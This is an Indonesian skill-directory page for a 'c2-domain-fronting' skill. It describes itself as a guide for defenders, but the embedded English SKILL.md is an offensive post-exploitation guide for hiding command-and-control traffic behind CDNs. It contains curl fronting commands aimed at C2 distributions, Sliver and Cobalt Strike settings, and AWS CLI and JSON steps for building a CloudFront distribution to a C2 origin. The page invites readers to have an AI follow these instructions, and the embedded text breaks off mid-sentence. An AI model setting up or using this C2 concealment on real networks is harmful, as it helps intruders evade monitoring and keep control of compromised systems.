Langsung ke konten
Skillpedia
Keamanan6.5k Β· #14128

c2-domain-fronting

Fungsinya

Panduan ini menjelaskan domain fronting, metode ketika lalu lintas tampak menuju CDN yang terkenal tetapi dialihkan ke tempat lain. Panduan ini untuk pembela jaringan yang ingin mendeteksi pola ini.

Kapan dipakai

  • βœ“Saat tim jaringan ingin memeriksa apakah lalu lintas ke CDN memiliki nama host yang tidak cocok.
  • βœ“Saat sebuah latihan resmi menyimulasikan lalu lintas yang tersembunyi di CDN untuk berlatih deteksi.
  • βœ“Saat sebuah tim keamanan meninjau apakah proxy-nya memeriksa lalu lintas CDN yang terenkripsi.

Link skill

https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/post-exploit/c2-domain-fronting/SKILL.md

Salin lalu tempelkan ke AI Anda (Claude, ChatGPT, atau Cursor) dan minta AI mengikuti instruksinya.

Cara pakai

Cara paling mudah: salin pesan ini dan tempelkan ke AI Anda. AI akan membaca skill dan mengikuti instruksinya.

Pesan siap tempel

Gunakan skill ini untuk membantu saya: https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/post-exploit/c2-domain-fronting/SKILL.md Baca file SKILL.md di link tersebut dan ikuti instruksinya untuk tugas saya.
Mau AI Anda menemukan skill seperti ini sendiri?Pasang MCP Skillpedia gratis: cukup satu baris, dan AI mencari di antara 15.000+ skill sebelum tiap tugas.Pasang dalam 1 menit β†’

Contoh permintaan ke AI

β€œBisakah proxy kami mengenali lalu lintas yang mengaku menuju CDN besar tetapi memiliki nama host yang tidak cocok? Tolong bantu saya memeriksanya.”

5 skill baru setiap minggu. 1 menit baca.

Cara kerjanya

Agent meninjau log proxy dan DNS untuk mencari nama server dan header host yang tidak cocok, lalu menyarankan aturan deteksi untuk ketidakcocokan itu.

Konten teknis (SKILL.md asli)

Teks asli dari pembuat, dalam bahasa Inggris, langsung dari GitHub.

Domain Fronting & CDN Abuse for C2

Domain fronting exploits the discrepancy between the TLS SNI field and the HTTP Host header when traffic passes through a CDN. The network-level observer sees a connection to a legitimate, high-reputation domain (e.g., cdn.microsoft.com) while the CDN routes the request to the operator's origin based on the inner Host header. This makes blocking the C2 equivalent to blocking the entire CDN.

Quick Reference

# Test domain fronting via CloudFront
curl -s -H "Host: <C2_DISTRIBUTION>.cloudfront.net" https://allowed.cloudfront.net/search

# Test Azure CDN fronting
curl -s -H "Host: <C2_ENDPOINT>.azureedge.net" https://ajax.aspnetcdn.com/test

# Sliver HTTPS listener with domain fronting
https --lhost 0.0.0.0 --lport 443 --domain <C2_ORIGIN>

# Cobalt Strike β€” set in Malleable C2 profile
# header "Host" "<C2_DISTRIBUTION>.cloudfront.net";

MITRE ATT&CK Mapping

Technique ID Usage in Skill
Proxy: Domain Fronting T1090.004 CDN-based SNI/Host header mismatch for C2
Web Service: Bidirectional Communication T1102.002 CDN edge as bidirectional C2 relay
Data Obfuscation T1001 C2 traffic disguised as CDN content requests

1. The Domain Fronting Technique

How It Works

β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”    TLS SNI: allowed.example.com    β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”
β”‚ Implant β”‚ ─────────────────────────────────►  β”‚   CDN    β”‚
β”‚         β”‚    Host: c2.attacker.cloudfront.net  β”‚  Edge    β”‚
β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜                                     β””β”€β”€β”€β”€β”¬β”€β”€β”€β”€β”€β”˜
                                                     β”‚ Routes by Host header
                                                     β–Ό
                                               β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”
                                               β”‚ C2 Originβ”‚
                                               β”‚  Server  β”‚
                                               β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜

TLS layer (visible to network monitor):

  • SNI = allowed.example.com (high-reputation domain on same CDN)
  • Certificate = CDN wildcard cert (e.g., *.cloudfront.net)
  • IP = CDN edge node

HTTP layer (inside TLS, invisible to monitor):

  • Host: c2-distribution.cloudfront.net β†’ CDN routes to operator's origin

Result: Blocking the C2 requires blocking the entire CDN.

Requirements

  1. CDN that routes by Host header (not all do β€” see provider matrix)
  2. A legitimate high-reputation domain on the same CDN for the SNI
  3. Operator's C2 server registered as a CDN origin/backend
  4. The CDN must not enforce SNI == Host (many now do)

2. CloudFront Domain Fronting

Setup

# 1. Create CloudFront distribution pointing to C2 origin
aws cloudfront create-distribution \
  --origin-domain-name <C2_ORIGIN_IP_OR_DOMAIN> \
  --default-root-object index.html \
  --query 'Distribution.DomainName'
# Returns: d1234abcdef.cloudfront.net

# 2. Find a frontable domain (legitimate site on CloudFront)
# Use: dig <CANDIDATE_DOMAIN> β€” look for CNAME to *.cloudfront.net
dig allowed-domain.com CNAME +short
# Output: d9876xyz.cloudfront.net. β†’ same CDN, usable as front

# 3. Test fronting
curl -v -H "Host: d1234abcdef.cloudfront.net" \
  https://allowed-domain.com/beacon

# Successful: HTTP 200 from your C2 origin
# Failed: HTTP 403 "The request could not be satisfied" β€” front domain not viable

CloudFront Configuration

# Create distribution via JSON config
cat > /workspace/c2/cloudfront-config.json << 'EOF'
{
  "CallerReference": "c2-$(date +%s)",
  "Origins": {
    "Items": [{
      "Id": "c2-origin",
      "DomainName": "<C2_ORIGIN>",
      "CustomOriginConfig": {
        "HTTPPort": 80,
        "HTTPSPort": 443,
        "OriginProtocolPolicy": "https-only"
      }
    }],
    "Quantity": 1
  },
  "DefaultCacheBehavior": {
    "TargetOriginId": "c2-origin",
    "ViewerProtocolPolicy": "https-only",
    "AllowedMethods": {
      "Items": ["GET", "HEAD", "POST", "PUT", "PATCH", "DELETE", "OPTIONS"],
      "Quantity": 7
    },
    "ForwardedValues": {
      "QueryString": true,
      "Cookies": {"Forward": "all"},
      "Headers": {"Items": ["*"], "Quantity": 1}
    },
    "MinTTL": 0, "DefaultTTL": 0, "MaxTTL": 0
  },
  "Enabled": true,
  "Comment": ""
}
EOF

aws cloudfront create-distribution --distribution-config file:///workspace/c2/cloudfront-config.json

Current Status (CloudFront)

AWS partially mitigated domain fronting in 2018. CloudFront now validates that the Host header matches a con

Pertanyaan umum

Apa itu domain fronting?

Itu terjadi ketika nama server yang terlihat berbeda dari nama di dalam permintaan, sehingga lalu lintas bisa dialihkan lewat CDN tepercaya.

Mengapa sulit diblokir?

Memblokirnya bisa berarti memblokir seluruh CDN, yang diandalkan banyak layanan.

Apa yang harus dicari pembela?

Nama server dan header host yang tidak cocok dalam log lalu lintas terenkripsi.

Detail

Deskripsi asli dari pembuat

Domain fronting and CDN abuse for C2 concealment β€” CloudFront, Azure CDN, Fastly setup, TLS SNI vs Host header technique, CDN-based redirectors, and integration with Cobalt Strike and Sliver.

repo: BitterSecurity/Decepticon

Popularitas

Bintang GitHub
6.5k
Peringkat
#14128
Lisensi
Apache-2.0
Diperbarui
1/11/2026

Apakah skill ini berguna?

0

Masuk untuk memberi suara.

Komentar

  • …

Skill lain dari repositori ini

Skill serupa